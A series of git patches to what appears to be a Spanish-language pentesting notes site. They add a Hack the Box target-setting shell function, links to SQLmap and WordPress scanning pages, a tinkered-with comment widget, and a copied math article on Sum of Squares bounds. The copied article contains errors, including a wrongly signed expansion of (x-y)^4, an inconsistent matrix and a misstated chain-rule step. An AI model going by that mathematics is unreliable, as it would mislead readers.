14-44-40](https://user-images.githubusercontent.com/103068924/167631309-be10052c-e0a7-4e4e-8e0f-914022cd9e80.png) + Copiamos la función. Nos dirigimos hasta nuestro directorio de usuario `/home/Usuario` (Usuario es el vuestro) y mediante el comando `nano` abrimos el archivo y lo pegamos. nano .zshrc @@ -21,6 +26,8 @@ Una vez pegado, guardamos con `Cntrl + o` y salimos `Cntrl + x`. Para ejecutar la función simplemente le especificamos la Ip y el nombre de la máquina de Hack the Box: settarget [Ip Máquina] [Nombre de la Máquina] + +![Captura de pantalla -2022-05-10 14-46-25](https://user-images.githubusercontent.com/103068924/167631648-0bcd0756-f7a4-4ad0-a10b-06bf53e9d882.png) En caso de no ejecutarse mediante `root`. Nos registramos como `root` y repetimos la misma operación. From fa631d00c01b938b04bdce965581fc3c3e692e4f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:40:08 +0200 Subject: [PATCH 0264/1701] Update index.md --- index.md | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index ecec082e121..ca8a601dfb4 100644 --- a/index.md +++ b/index.md @@ -77,8 +77,14 @@ Escaneo de vulnerabilidades en páginas WordPress. --- - - + + From 0c181ed17b871f2dff52bf74e2aa4ec2635d07f9 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:45:07 +0200 Subject: [PATCH 0265/1701] Update index.md --- index.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/index.md b/index.md index ca8a601dfb4..10fc8cf9934 100644 --- a/index.md +++ b/index.md @@ -77,14 +77,16 @@ Escaneo de vulnerabilidades en páginas WordPress. --- - - + From e2ee4cfc579626d678b462b650b7007cbfab624e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:47:39 +0200 Subject: [PATCH 0266/1701] Update index.md --- index.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/index.md b/index.md index 10fc8cf9934..eeab84522d8 100644 --- a/index.md +++ b/index.md @@ -78,7 +78,6 @@ Escaneo de vulnerabilidades en páginas WordPress. --- - - From 143938095d3ad5fa1170cf51eb0057f32a10dfcf Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:50:12 +0200 Subject: [PATCH 0267/1701] Update index.md --- index.md | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/index.md b/index.md index eeab84522d8..f8ebf83876a 100644 --- a/index.md +++ b/index.md @@ -77,15 +77,13 @@ Escaneo de vulnerabilidades en páginas WordPress. --- - - - --- From 409e3ffb72123a0d5e5b5f62491032041780b348 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:52:38 +0200 Subject: [PATCH 0268/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index f8ebf83876a..6d2fbe6cb7a 100644 --- a/index.md +++ b/index.md @@ -76,7 +76,7 @@ Escaneo de vulnerabilidades en páginas WordPress. [SQLmap](./Herramientas_y_Scripts/SQLmap.html) --- - +``` - +``` --- From aaad0bc8cb775eb18a58a7166f6d42fc0f08c1bf Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:53:35 +0200 Subject: [PATCH 0269/1701] Rename index.md to index.html --- index.md => index.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index.md => index.html (100%) diff --git a/index.md b/index.html similarity index 100% rename from index.md rename to index.html From 67daee59b10e176f6144b5fcfa52d1deb95d7540 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:54:47 +0200 Subject: [PATCH 0270/1701] Rename index.html to index.md --- index.html => index.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index.html => index.md (100%) diff --git a/index.html b/index.md similarity index 100% rename from index.html rename to index.md From acc1607dddccbc7685113c779f0c421fd9d2b8cb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 16:58:16 +0200 Subject: [PATCH 0271/1701] Update index.md --- index.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/index.md b/index.md index 6d2fbe6cb7a..005bb751ef4 100644 --- a/index.md +++ b/index.md @@ -76,7 +76,7 @@ Escaneo de vulnerabilidades en páginas WordPress. [SQLmap](./Herramientas_y_Scripts/SQLmap.html) --- -``` +~~~ -``` - +~~~ --- From 6d9b3e23bfe3149814ddcaf623f274c48698a915 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 17:12:35 +0200 Subject: [PATCH 0272/1701] Update head-custom.html --- _includes/head-custom.html | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/_includes/head-custom.html b/_includes/head-custom.html index 44cdb83f523..0e76af26811 100644 --- a/_includes/head-custom.html +++ b/_includes/head-custom.html @@ -9,4 +9,12 @@ + + From 86939fed11012b06dde21367025827a96488a443 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 17:18:17 +0200 Subject: [PATCH 0273/1701] Update head-custom.html --- _includes/head-custom.html | 8 -------- 1 file changed, 8 deletions(-) diff --git a/_includes/head-custom.html b/_includes/head-custom.html index 0e76af26811..44cdb83f523 100644 --- a/_includes/head-custom.html +++ b/_includes/head-custom.html @@ -9,12 +9,4 @@ - - From 12b654b3315f136bac760fc814bfa21a3cecbc7a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 17:20:15 +0200 Subject: [PATCH 0274/1701] Update index.md --- index.md | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/index.md b/index.md index 005bb751ef4..9d1205593cb 100644 --- a/index.md +++ b/index.md @@ -75,14 +75,28 @@ Escaneo de vulnerabilidades en páginas WordPress. ## SQL: [SQLmap](./Herramientas_y_Scripts/SQLmap.html) + + +""" + {{ addcomments }} + +Add a comment widget, managed by utterances . +""" +function hfun_addcomments() + html_str = """ + + """ + return html_str +end + + --- -~~~ - -~~~ + --- From adafab568875383587a4c665ceabfa24399598fe Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 17:28:43 +0200 Subject: [PATCH 0275/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 9d1205593cb..d6a67df809f 100644 --- a/index.md +++ b/index.md @@ -76,7 +76,7 @@ Escaneo de vulnerabilidades en páginas WordPress. [SQLmap](./Herramientas_y_Scripts/SQLmap.html) - +~~~ """ {{ addcomments }} @@ -95,7 +95,7 @@ function hfun_addcomments() """ return html_str end - +~~~ --- From 4194b1ec6cd27e22dfd5c908a15c3a2c41d11bb3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 17:29:37 +0200 Subject: [PATCH 0276/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index d6a67df809f..ac3e3d90df5 100644 --- a/index.md +++ b/index.md @@ -76,7 +76,7 @@ Escaneo de vulnerabilidades en páginas WordPress. [SQLmap](./Herramientas_y_Scripts/SQLmap.html) -~~~ +~~~...~~~ """ {{ addcomments }} @@ -95,7 +95,7 @@ function hfun_addcomments() """ return html_str end -~~~ +~~~...~~~ --- From b4e6540e984ba526955e20158938e239cbb0f9f1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 17:37:35 +0200 Subject: [PATCH 0277/1701] Update index.md --- index.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/index.md b/index.md index ac3e3d90df5..c23e38c677a 100644 --- a/index.md +++ b/index.md @@ -76,13 +76,13 @@ Escaneo de vulnerabilidades en páginas WordPress. [SQLmap](./Herramientas_y_Scripts/SQLmap.html) -~~~...~~~ + """ {{ addcomments }} Add a comment widget, managed by utterances . """ -function hfun_addcomments() +function hfun_gestion-comentarios() html_str = """ """ - return html_str -end + --- From 99297fc96f6570ed7e181d1dc24b9e0e6a5d5297 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 17:54:46 +0200 Subject: [PATCH 0281/1701] Update index.md --- index.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/index.md b/index.md index 16eda8115a1..4488b7dee4d 100644 --- a/index.md +++ b/index.md @@ -78,15 +78,15 @@ Escaneo de vulnerabilidades en páginas WordPress. """ - - """ + + From 64c0edb6a0e84109ca9fc00a2c1abaadcb89a425 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 22:24:38 +0200 Subject: [PATCH 0282/1701] Create Index1.html --- Index1.html | 240 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 240 insertions(+) create mode 100644 Index1.html diff --git a/Index1.html b/Index1.html new file mode 100644 index 00000000000..f284ac49170 --- /dev/null +++ b/Index1.html @@ -0,0 +1,240 @@ + + + + + + + + + + + + + Time average bounds via Sum of Squares + + + +
+ + + +
+ + + + +

Time average bounds via Sum of Squares

+

9 February 2021 | R. Rosa

+

Motivation

+

In many real-world problems, one is interested in estimating certain key quantities related to the problem. For instance, in fluid flows, quantities of interest involve kinetic energy, enstrophy, drag coefficient, energy dissipation rate, and so on. In other applications, one might be interested in mechanical stress, chemical concentration, infected population, pharmaceutical dosage, etc.

+

Many such problems can be resonably modeled by differential equations, which may, however, exibit complicate, perhaps chaotic dynamics. In those situations, the instantaneous value of certain quantities vary unpredictably in time, but very often their mean value is reasonably steady.

+

This mean value can be considered in different ways, e.g. as time average, as ensemble average, or as spatial average, and are thus more ameanable to analysis. This article considers ways to estimate time and ensemble averages of certain quantities.

+

Problem setting

+

If a model for the problem is available in the form of an ordinary differential equation

+\[ \frac{\textrm{d} u}{\textrm{d}t} = F(u), +\] +

where \(F:X\rightarrow X\) is some locally Lipschitz function acting in some finite-dimensional space \(X=\mathbb{R}^n\), \(n\in\mathbb{N}\), then, for each \(u_0\in X\), there exists a unique solution \(u=u(t)\) with \(u(0)=u_0\). If we assume all solutions are defined globally in the futures, we obtain a continuous semigroup \(\{S(t)\}_{t\geq 0}\) acting on \(X\), with given by \(S(t)u_0=u(t)\).

+

Given a function \(\phi:X\rightarrow \mathbb{R}\) representing some "real" quantity we want to measure, the asymptotic superior limit of the time-average of \(\phi(u(t))\) is given (and denoted) by

+\[ \bar\phi(u_0) = \limsup_{T\rightarrow} \frac{1}{T} \int_0^T \phi(u(t))\;\textrm{d}t. +\] +

The idea here is that we would like to find an upper bound for \(\bar\phi(u_0)\), for all possible initial conditions \(u_0\in B\), in some subset of interest \(B\subset X\).

+

Assuming that \(\phi\) is continuous, that \(B\) is positively invariant (i.e. \(u(0)\in B\) implies \(u(t)\in B\), \(\forall t\geq 0\).), and \(B\) is compact, then \(t\mapsto \phi(u(t))\) is bounded on \(t\geq 0\), and the superior limit above is uniformily bounded in \(u_0\in B\).

+

The problem, then, is to find the best possible bound C for \(\sup_{u_0\in B}\bar\phi(u_0)\).

+

Overview of some analytic and numerical methods

+

One way to bound \(\phi(u_0)\) is to do what is called energy-type estimates, which amounts to multiplying the equation by appropriate terms aiming to obtain inequalities that eventually lead to an estimate for \(\phi(u_0)\). Or by variational estimates, introducing an auxiliary function, within a special class of functions, and performing some minimization with respect to the auxiliary function.

+

Numerically, we can use a Monte-Carlo method and simulate the evolution of the equation in a computer, with randomly chosen initial conditions, and look for the time average over sufficiently long time intervals (sufficiently in the sense, for instance, that the finite-time average does not change much – according to a given error – by increasing the averaging time). Or one can vary the auxiliary function in the special class of functions and look for the best estimate.

+

More recently, however, a novel method is being used, which is a sort of variational technique, but in a different perspective and leading to an efficient numerical approach. There are some aspects I would like to discuss concerning this method:

+
    +
  1. It can be seen as a convex minimization problem;

    +
  2. +
  3. When \(F\) and \(\phi\) are polynomials, the minimization problem can be relaxed to a P-complete problem by looking for a Sum of Squares (SoS) representation of an appropriate term, at the cost of obtaining a larger bound, but which is often near the optimal value;

    +
  4. +
  5. The original convex minimization problem can be recast into a minimax problem and be showed to indeed yield the optimal estimate;

    +
  6. +
  7. The optimality result above has been proved first in the finite-dimensional case and, more recently, myself and a co-author extended it to dissipative evolutionary partial differential equations.

    +
  8. +
+

The Sum of Squares (SoS) problem

+

Looking for an expression for a nonnegative multivariate real polynomial \(p=p(x)\) as a Sum of Squares (SoS) of other polynomials, i.e. \(p(x) = \sum_{j=1}^k p_j(x)^2\) for other polynomials \(p_j=p_j(x)\), is not a new problem. In 1885, the 21-year old Minkowski made his inaugural dissertation on quadratic polynomials conjecturing that there must exist homogeneous, nonnegative real polynomials of degree \(m\) in \(n\) variables, for arbitrary \(m, n > 2\), which are not sums of squares of other homogeneous real polynomials. Hilbert initially attacked Minkowski's claim, but by the end of the presentation Hilbert was convinced that this might indeed be true at least starting with \(n=3\). Three years later, at the age of 26, Hilbert himself proved that the claim is not true for \(n=3, m=4\), but that for \(n\geq 3, m\geq 6\) or for \(n\geq 4, m\geq 4\), the set of nonnegative polynomials of degree \(m\) in \(n\) variables is indeed strictly larger than the set of sum of squares of polynomials.

+

Further work on the subject led him to formulate the 17th problem in his list of 23 problems presented in 1900: must every nonnegative homogenous polynomial be expressed as a sum of squares of rational functions?

+

Hilbert used tools from classical algebraic geometry at that time, without given explicit examples for the problem addressing Minkowski's dissertation. Explicit examples of homogenous polynomials which are not sum of squares of other polynomials were only given in the second half of the 20th century. One famous example is that of Motzkin:

+\[{\displaystyle f(x,y,z)=z^{6}+x^{4}y^{2}+x^{2}y^{4}-3x^{2}y^{2}z^{2}.} +\] +

Hilbert's 17th problem was solved in the affimartive by Artin, in 1926. For further historical accounts related to Hilbert's 17th problem, see e.g. Reznick (2000).

+

More recently, a number of methods to actually test and find whether a given multivariate nonnegative polynomial is a sum of squares of polynomials have been devised (e.g. Shor 1980s, 1990s, Choi, Lam, Reznik 1990s). Then, Parrilo (2000) presented in his PhD thesis, and in subsequent articles (e.g. Parrilo (2003)), several applications to differential equations, including the search for Lyapunov functions and control strategies. By the early 2000s, a number of MATLAB toolbox solvers were already available.

+

Applications to local stability of PDEs and, in particular to 2D fluid flows were given, respectively by Papachristodoulou and Peet (2006) and Yu, Kashima, Imura (2008).

+

Finally we get to the articles related to the main motivation for this pots, which is that of globally estimating quantities related to the problem at hand and the global stability of the model.

+

The first article which seems to exploit the technique of Sum of Squares to the global analysis of PDEs seem to be that of Goulart and Chernyshenko (2012), which considered, in particular, the global stability of fluid flows. This was soon followed by a number of works by various authors: Fantuzzi, Goluskin, Doering, Goulart, Chernyshenko, Huang, Papachristodoulou (2010s), among others (see e.g. Chernyshenko, Goulart, Huang, and Papachristodoulou). These culminated with the work of Tobasco, Goluskin, and Doering (2018) showing that the convex optimization problem can be written as a minimax problem, which can then be proved to yield an optimal result for the estimate of the asymptotic time averages mentioned earlier. In turn, this gives the expectation that relaxing the problem to use the sum of squares approach yields sharp bounds, close to the optimal one.

+

The convex minimization problem

+

Now we begin to directly address the points raised above. Let us go back to the setting described earlier and see how the convex optimization problem appears.

+

One key aspect is to realize that, given any continuously differentiable function \(V:X\rightarrow \mathbb{R}\), it follows, by the chain rule and integration, that the asymptotic time average of \(F(u)\cdot \nabla V(u)\) satisfies

+\[ \begin{aligned} + \int_0^T F(u)\cdot \nabla V(u) \;\textrm{d}t & = \int_0^T \dot u\cdot \nabla V(u) \;\textrm{d}t \\ + & = \int_0^T \frac{\textrm{d}}{\textrm{d}t} V(F(u)) \;\textrm{d}t \\ + & = V(u(T)) - V(u(0)). + \end{aligned} +\] +

Since \(B\) is assumed to be compact and positively invariant, then \(V(u(t))\) is uniformly bounded in \(t\geq 0\), so that

+\[ \frac{1}{T} \int_0^T F(u)\cdot \nabla V(u) = \frac{V(u(T)) - V(u(0))}{T} \rightarrow 0, +\] +

as \(T\rightarrow \infty\). Hence, using that a bar denotes limit superior of the time-averages, we write

+\[ \overline{F\cdot\nabla V} = 0. +\] +

Since (6) actually holds for the limit itself, not only the superior limit, then we may add it to \(\bar\phi\) and have that

+\[ \bar\phi \leq C \Leftrightarrow \overline{\phi + F\cdot\nabla V} \leq C, +\] +

on \(B\), for arbitrary continuously differentiable function \(V\).

+

Since the above holds for arbitrary such \(V\) and since the aim is to obtain the best possible \(C\), in the sense of being the smallest possible one, we can write the problem of finding such bound \(C\) for \(\bar\phi\) as the minimization problem

+\[ \sup \bar\phi \leq \inf_{(C,V)\in \mathbb{R}\times\mathcal{C}^1, \;\overline{\phi + (F\cdot \nabla V)} \leq C} C, +\] +

However, if we had to check whether the time averages \(\overline{\phi + (F\cdot \nabla V)}\) are smaller than or equal to \(C\), for every initial condition \(u_0\) in \(B\), we would actually have much more work than simply checking whether \(\bar\phi \leq C\). So, the idea is to require the much stronger condition that \(\phi(u) + F(u)\cdot \nabla V(u) \leq C\), for every point \(u\) in \(B\). Notice this is not a dynamic condition. We are not solving any differential equation. The point \(u\) is an arbitrary point in \(B\). It is a pointwise bound, that certainly implies the time-average bound for any solution \(t\mapsto u(t)\) starting at the positively invariant set \(B\).

+

It may seem, at first, that, by requiring this stronger condition, we end up with a much worse bound. However, it turns out that the minimization process somehow compensates for that and end up yielding an optimal bound just like we would obtain by requiring only that the time-average be smaller than or equal to \(C\). This magic is taken care of by the inclusion of the auxiliary function \(V\), which is sometimes called the reservoir function. Notice that the time-average \(\overline{F\cdot \nabla V}\) vanishes, but when considering \(F\cdot \nabla V\) for arbitrary points in \(B\), this term, for suitable \(V\), can be negative to compensate when \(\phi\) is large, and it is allowed to be positive, when \(\phi\) is small, such that at the end we find a relatively small bound \(C\).

+

Notice we don't expect \(F\cdot \nabla V\) to be negative all the time, otherwise \(V\) would be like a Lyapunov function, or a La Salle-type function, and the solutions would converge to the invariant set included in the set \(\{V=0\}\). Some systems do have such a function, but this is not expected to exist in more complicate problems.

+

Now, by requiring that \(\phi + F\cdot \nabla V\leq C\) holds pointwise in all \(B\), instead of only along the time average of the trajectories \(u(t)\), we arrive at the following minimization problem:

+\[ \sup \bar\phi \leq \inf_{(C,V)\in \mathbb{R}\times\mathcal{C}^1, \;\phi + (F\cdot \nabla V) \leq C} C. +\] +

We may rewrite this as

+\[ \sup \bar\phi \leq \inf_{(C,V)\in \mathbb{R}\times\mathcal{C}^1, \;S_{C,V}(u)\geq 0, \forall u\in B} C, +\] +

where \(S_{C,V}(u) = C - \phi - (F\cdot \nabla V)\). This is a convex minimization problem, since the objetive function \((C,V)\mapsto C\) is linear, and the minimization is sought after within the set \(S_{C,V}\geq 0\), which is convex since \((C,V)\mapsto S_{C,V}(u)\) is linear and the half plane is convex.

+

Relaxing the minimization problem to a Sum of Squares minimization

+

The minimization problem (10) can be NP-hard to compute. However, when the differential equation term \(F\) and the quantity of interest \(\phi\) are polynomials, the minimization problem can be relaxed to a P-complete convex minimization problem by restricting \(V\) to be a polynomial of a given order, or some special type of polynomial, and requiring that the polynomial \(S_{C,V}\) be SoS, which certainly implies the condition that it be nonnegative. That might not yield an optimal bound, but it's been show to yield pretty sharp estimates for a number of equations.

+

This formulation takes the precise form

+\[ \sup \bar\phi \leq \inf_{(C,V)\in \mathbb{R}\times\mathrm{P}_m(X), \;S_{C,V}(u) = \texttt{SoS}} C, +\] +

where above we denote by \(\mathrm{P}_m(X)\) the set of real polynomials on \(X\).

+

This problem can be regarded as a semidefinite programming. It is similar to linear programming, but in which the first orthant \(x_i\geq 0\) is replace by the cone of positive semidefinite matrices \(S\succeq 0\). More precisely, we may start with the primal problem:

+\[ \text{Minimize } L\cdot S \text{ subject to } A_i\cdot S = b_i \text{ and } S \succeq 0, +\] +

where \(b\in \mathbb{R}^M\) is a given vector, \(L\) and \(A_i\) are given symmetric \(N\times N\) matrices, and \(S\) is the decision variable, also assume to be symmetric. The dot product for matrices is element-wise, i.e. \(A_i\cdot A = (A_i)_{jk} A_{jk} = 0\), and \(S\succeq 0\) means that \(S\) is positive semidefinite, i.e. \(\xi\cdot S \xi \geq 0\), for every \(\xi\in \mathbb{R}^N\).

+

The minization problem above has the dual formulation

+\[ \text{Maximize } b\cdot \eta \text{ subject to } \sum_{i=1}^M \eta_iA_i\preceq L, +\] +

where \(\eta\in\mathbb{R}^M\). Any solution of the dual problem is a lower bound for the primal problem, and, conversely, any solution of the primal problem yields an upper bound for the dual problem. In fact, this follows from

+\[ L\cdot S - b\cdot \eta = L\cdot S - \sum_{i=1}^M \eta_iA_i\cdot S = (L - \sum_{i=1}^M \eta_iA_i)\cdot S \geq 0. +\] +

Thus,

+\[ b\cdot \eta \leq L\cdot S +\] +

for any feasible \(\eta\) and \(S\) in each problem.

+

The question now is how to frame the Sum of Squares problem into a semidefinite programming one. As described in Parrilo (2003), it is possible to write the sum of squares problem in either the primal form or the dual form. In theory, they are mathematically equivalent, but one formulation may be numerically more efficient than the other, depending on the dimension of the problem. For the sake of illustration, we describe below how to arrive at the primal problem.

+

So, suppose a multivariate real polynomial \(p(x)\), \(x\in \mathbb{R}^n\), of degree \(m\) is given. It is easy to argue that, for \(p(x)\) to have any chance of being a sum of squares, or just nonnegative, the degree \(m\) of \(p\) has to be even, say \(m=2d\). It is also not difficult to argue that it can be written in the form

+\[ p(x) = m(x)\cdot Sm(x), +\] +

for a symmetric matrix \(S=(S_{jk})\), where

+\[ \xi = \xi(x)=(1, x_1, \ldots, x_n, x_1x_1, \ldots, x_1^d, x_1^{d-1}x_2, \ldots, x_1x_n^{d-1}, x_n^d)\] +

is the vector of all monomials in \(x\) of degree up to \(d=m/2\). The dimension of the space for \(\xi(x)\) is \(N=\left(\begin{matrix} n + d \\ d \end{matrix}\right)\).

+

For example, consider the polynomial

+\[ p(x,y)= x^4 - 4x^3y - 6x^2y^2 -4xy^3 + y^4, +\] +

in \((x,y)\in \mathbb{R}^2\), which we know is SoS since it is precisely \((x-y)^4\). Then, with \(\xi(x,y)=(1, x, y, x^2, xy, y^2)\), we can take

+\[ S = \left[ + \begin{matrix} + 0 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 0 & 0 & 1 & -2 & 0 \\ + 0 & 0 & 0 & -2 & -6 & -2 \\ + 0 & 0 & 0 & 0 & -2 & 1 + \end{matrix} +\right]. +\] +

Since the elements of \(m\) are not algebraically independent (e.g. \(x^2y^2 = (x^2)(y^2) = (xy)(xy))\), such \(S\) is usually not unique. For instance, we can also take

+\[ S = \left[ + \begin{matrix} + 0 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 0 & 0 & 1 & -2 & -3 \\ + 0 & 0 & 0 & -2 & 0 & -2 \\ + 0 & 0 & 0 & -3 & -2 & 1 + \end{matrix} +\right], +\] +

or any convex combinations of the two.

+

Back to the general case (16), if there exists a symmetric matrix \(S\) which is positive semidefinite, then it can be diagonalizable with the elements \(d_{ii}\) in the diagonal being all non-negative, i.e.

+\[ \xi\cdot S\xi = \xi\cdot (Q^{-1}S Q)\xi = (Q\xi)\cdot D(Q\xi) = \zeta \cdot D \zeta = \sum d_{ii}\zeta_i^2 = \sum_i (\sqrt{d_{ii}}\zeta_i)^2, +\] +

where \(\zeta(x) = Q\xi(x)\) is a vector of polynomials in \(x\). This yields that \(p\) is a SoS.

+

Hence, the problem becomes to find a symmetric positive semidefinite matrix \(S\) satisfying (16). The polynomials \(p(x)\) and \(\xi(x)\cdot S\xi(x)\) are equal if, and only if, their coefficients are equal, which is a linear problem for \(S\), with dimension \(M=N^2 = \left(\begin{matrix} n + d \\ d \end{matrix}\right) \times \left(\begin{matrix} n + d \\ d \end{matrix}\right)\). If we define the coeficients of \(p=p(x)\) by \(b_i\) and those of \(\xi\cdot S\xi\) by \(A_i\cdot S\), \(i=1,\ldots, M\), then the problem becomes to find a symmetrix matrix \(S\) such that

+\[ S \succeq 0, \qquad A_i S = b_i. +\] +

If we further ask \(S\) to minimize the quantity \(L\cdot S\) for some desirable symmetric matrix \(L\), then we end up with the primal semidefinite programming problem for \(S\).

+

The minimax formulation

+

The convex minimization problem (10) can easily be rewritten in the minimax form

+\[ \sup_{u_0\in B} \bar\phi(u_0) \leq \min_{V\in \mathcal{C}^1(B)} \max_{u\in B} \left\{\phi(u) + F(u) \cdot \nabla V(u)\right\}. +\] +

With this formulation in mind, Tobasco, Goluskin and Doering (2018) gave a beautiful proof that the bound is actually optimal, and that the supremum at the left hand side above is achieved!:

+\[ \max_{u_0\in B} \bar\phi(u_0) = \min_{V\in \mathcal{C}^1(B)} \max_{u\in B} \left\{\phi(u) + F(u) \cdot \nabla V(u)\right\}. +\] +

The proof uses Ergodic Theory and a minimax principle. In a future opportunity we will go through its proof, as well as to detail the extension done to the infinite-dimensional setting, which is briefly discussed next.

+

Extension to the infinite-dimensional setting

+

The proof in the finite dimensional case uses a few conditions that are delicate to extend to the infinite dimensional case:

+
    +
  1. The positively invariant set \(B\) has to be compact;

    +
  2. +
  3. The quantity of interest \(\phi\) has to be a continuous function on the phase space \(X\);

    +
  4. +
  5. Borel probability mesure are Lagrangian invariant if and only if they are Eulerian invariant.

    +
  6. +
+

By Lagrangian invariant we mean the classical invariant condition \(\mu(S(t)^{-1}E) = \mu(S(t)E)\), for any Borel set \(E\subset X\), where \(\mu\) is the Borel probability measure in question and \(\{S(t)\}_{t\geq 0}\) is the semigroup generated by the equation. By Eulerian invariant we mean that \(\mu\) has to satisfy \(\int_X F(u)\cdot \nabla V(u) \;\textrm{d}\mu(u) = 0\), for all \(V\in \mathcal{C}^1(X)\).

+

The assumption that \(X\) be finite-dimensional is not a requirement per se, but it makes the above conditions hold in more generality. For instance, it suffices to have \(B\) closed and bounded to have it compact. And this compactness is needed both for the passage from time average to ensemble average (i.e. average with respect to the invariant measure) and for the minimax principle.

+

Concerning the assumption of continuity of \(\phi\), it is not a big deal in finite dimensions, but it is quite restrictive for partial differential equations. For instance, if the phase space is \(L^2(\Omega)\), one cannot consider \(\phi(u)\) involving derivatives of \(u\). Even if we attempt to use extensions of the minimax principle, they require upper-semicontinuity of \(\phi\), so even quantities like \(\phi(u) = \sum_j |\partial_{x_j}u|^2\) would not work as is.

+

But at least for the case of a continuous quantity \(\phi\) in the infinite-dimensional (e.g. kinetic energy on \(L^2\)), one can go around the requirement of \(B\) being compact by considering dissipative systems which possess a compact attracting set.

+

The remaining delicate condition is the equivalence between Lagrangian and Eulerian invariance, which is by no means trivial in the infinite-dimensional case. In fact, I know of only two equations for which this has been proved: the two-dimensional Navier-Stokes equations and a globally modified Navier-Stokes equations obtained by truncating the nonlinear term. However, it is my belief that the key tool is simply that it be possible to approximate the system (any solution) by a right-invertible semigroup (e.g. Galerkin approximation or a hyperbolic/wave-type approximation) and exploit the usual a~priori estimates. It is an open field to prove this for other systems or to come up with an easily-applicable general statement.

+

It should be said that even the notion of Eulerian invariance needs to be relaxed to working for special types of functions \(V\), which we call cylindrical test functionals. They are at the core of the notion of statistical solution.

+

As in the finite-dimensional case, we leave further details about the result in infinite dimensions to a future post. Meanwhile, the details can be found in Rosa and Temam (arxiv 2020)

+

Selected References:

+ + + +
+ +
+
+ + + + + + + + + From eafd4a73e8b1c7d7376c4364c05711e1937a18ab Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 22:25:53 +0200 Subject: [PATCH 0283/1701] Update index.md --- index.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/index.md b/index.md index 4488b7dee4d..76b121b71fd 100644 --- a/index.md +++ b/index.md @@ -77,6 +77,10 @@ Escaneo de vulnerabilidades en páginas WordPress. +[Index2](./Index2.html) + + + """ + From f4f1deace9d22227357d6d9830fe35c47b2179a7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 22:52:13 +0200 Subject: [PATCH 0287/1701] Update index.md --- index.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/index.md b/index.md index fc8e4b2c98f..92fae05d147 100644 --- a/index.md +++ b/index.md @@ -81,8 +81,6 @@ Escaneo de vulnerabilidades en páginas WordPress. -""" - + + + + + + + + + + + + + Time average bounds via Sum of Squares + + + + + +
+ +
+ + + + + + + + + + From a0c72addea1c4e79dc8cb965194994638562fd9f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 23:02:17 +0200 Subject: [PATCH 0289/1701] Update index.md --- index.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/index.md b/index.md index 31bf03dfcd7..0d1a8798778 100644 --- a/index.md +++ b/index.md @@ -77,10 +77,7 @@ Escaneo de vulnerabilidades en páginas WordPress. -[Index1](./Index1.html) - - @@ -106,7 +103,7 @@ Escaneo de vulnerabilidades en páginas WordPress.
